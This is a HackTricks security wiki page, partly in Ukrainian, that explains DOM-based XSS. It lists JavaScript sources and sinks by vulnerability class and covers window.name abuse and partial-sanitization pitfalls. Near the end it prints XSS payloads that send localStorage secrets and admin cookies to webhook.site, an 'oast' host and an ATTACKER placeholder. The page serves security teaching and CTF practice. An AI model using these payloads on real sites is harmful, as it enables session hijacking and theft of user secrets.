DOM XSS
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
DOM Vulnerabilities
DOM vulnerabilities виникають, коли дані, контрольовані атакуючим, з sources (наприклад, location.search, document.referrer або document.cookie) небезпечно передаються в sinks. Sinks — це функції або об’єкти (наприклад, eval(), document.body.innerHTML), які можуть виконувати або відображати шкідливий контент, якщо їм передати зловмисні дані.
- Sources — це вхідні дані, якими можуть маніпулювати атакуючі, включно з URLs, cookies та web messages.
- Sinks — це потенційно небезпечні кінцеві точки, куди шкідливі дані можуть призвести до негативних наслідків, наприклад виконання скриптів.
Ризик виникає, коли дані течуть від source до sink без належної перевірки або очищення, що дозволяє атаки на кшталт XSS.
Tip
Ви можете знайти більш оновлений список sources and sinks у https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
Tools to find them
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Розширення браузера для перевірки всіх даних, що потрапляють у потенційний sink: https://github.com/kevin-mizu/domloggerpp
Examples
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities виникають, коли скрипт включає дані, які можуть контролюватися зловмисником, у значення cookie. Ця вразливість може призвести до непередбачуваної поведінки веб-сторінки, якщо cookie використовується на сайті. Крім того, її можна експлуатувати для проведення session fixation attack, якщо cookie залучається для відстеження сесій користувачів. The primary sink associated with this vulnerability is:
Sinks:
document.cookie
JavaScript Injection
Джерело: https://portswigger.net/web-security/dom-based/javascript-injection
Уразливості DOM-based JavaScript injection виникають, коли скрипт виконує дані, які можуть контролюватися attacker, як JavaScript code.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities виникають, коли скрипт встановлює властивість document.domain, використовуючи дані, які може контролювати зловмисник.
Властивість document.domain відіграє ключову роль у забезпеченні same-origin policy браузерами. Коли дві сторінки з різних походжень встановлюють свій document.domain на те саме значення, вони можуть взаємодіяти без обмежень. Хоча браузери накладають певні обмеження на значення, які можна присвоювати document.domain, перешкоджаючи присвоєнню повністю несумісних зі справжнім походженням сторінки значень, існують винятки. Зазвичай браузери дозволяють використовувати дочірні або батьківські домени.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning відбувається, коли скрипт використовує controllable data as the target URL для WebSocket-з’єднання.
Sinks:
Конструктор WebSocket може призвести до WebSocket-URL poisoning vulnerabilities.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities виникають, коли скрипт записує attacker-controllable data to a navigation target в межах поточної сторінки, наприклад у clickable link або у submission URL форми.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities виникають, коли скрипт записує attacker-controllable data into an Ajax request, який відправляється за допомогою об’єкта XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities виникають, коли скрипт передає attacker-controllable data to a file-handling API як параметр filename. Цю вразливість може використати атакуючий для створення URL, який, якщо ним перейде інший користувач, може призвести до того, що браузер користувача відкриє або запише довільний локальний файл.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities виникають, коли скрипт включає дані, контрольовані зловмисником, у client-side SQL query небезпечним способом.
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities виникають, коли скрипт stores attacker-controllable data in the web browser’s HTML5 storage (localStorage or sessionStorage). Хоча ця дія сама по собі не обов’язково є вразливістю безпеки, вона стає проблемною, якщо додаток надалі reads the stored data and processes it unsafely. Це може дозволити атакуючому використати механізм збереження для проведення інших DOM-based атак, таких як cross-site scripting та JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Джерело: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities виникають, коли скрипт включає attacker-controllable data into an XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
Джерело: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities виникають, коли скрипт включає дані, контрольовані атакувальником, у рядок, який розбирається як структура даних JSON і потім обробляється додатком.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
Джерело: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities виникають, коли скрипт надсилає дані, контрольовані атакуючим, як веб‑повідомлення до іншого документа в межах браузера. Приклад вразливої Web-message manipulation можна знайти на PortSwigger’s Web Security Academy.
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
Джерело: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities виникають, коли скрипт записує дані, контрольовані атакуючим, у поле в DOM, яке використовується у видимому інтерфейсі або в логіці на боці клієнта. Цю вразливість може використати атакуючий для створення URL, який, якщо ним скористається інший користувач, може змінити зовнішній вигляд або поведінку клієнтського інтерфейсу.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities виникають, коли скрипт небезпечно передає дані, контрольовані атакуючим, до проблемного API платформи. Це включає API, які при виклику можуть спричинити, що комп’ютер користувача споживатиме надмірну кількість CPU або дискового простору. Такі вразливості можуть мати значні побічні ефекти, наприклад браузер може обмежити функціональність сайту, відхиляючи спроби зберегти дані в localStorage або припиняючи виконання скриптів, що працюють надто довго.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Неявні глобальні змінні & зловживання window.name
Звернення до name без оголошення (var/let/const) посилається на window.name. Оскільки window.name зберігається під час навігації між доменами, зловмисник може попередньо заповнити ім’я контексту перегляду HTML/JS та пізніше змусити код жертви відобразити це як довірені дані:
- Відкрийте/перейдіть до цілі в іменованому контексті, яким ви керуєте:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Або повторно використати
window.openз спеціально створеним ім’ям target:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Якщо додаток пізніше виконує element.innerHTML = name (або подібний sink) без санітизації, керований атакуючим рядок window.name виконується в цільовому origin, що дозволяє DOM XSS та доступ до same-origin storage.
Адмін/автоматизаційні потоки: попередньо заповнене сховище & javascript: навігація
Боти автоматизації (наприклад, Playwright) часто спочатку відвідують внутрішню сторінку, зберігають секрети в localStorage/cookies, а потім переходять до URL, наданого користувачем. Будь-який DOM XSS primitive (включно зі зловживанням window.name) у цьому потоці може ексфільтрувати попередньо встановлений секрет:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Якщо бот не обмежує схеми, передача javascript: URL (javascript:fetch(...)) виконується в поточному origin без нової навігації, безпосередньо leak-ує значення сховища.
Шаблонний літерал innerHTML + прогалини в частковій санітизації
Фронтенди, які санітизують лише певні поля, але все ще інтерполюють недовірене поле безпосередньо в innerHTML, легко експлуатуються. Приклад:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
Якщо несанітайзоване поле зберігається на сервері (наприклад, bug report “details”), payload стає stored DOM XSS для будь-якого привілейованого переглядача списку. Простий payload, такий як <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)>, виконується, коли admin відкриває сторінку, і ексфільтрує їхні cookies.
When the app explicitly disables SESSION_COOKIE_HTTPONLY (e.g., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random secret_key prevents forging, but theft still works).
References
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


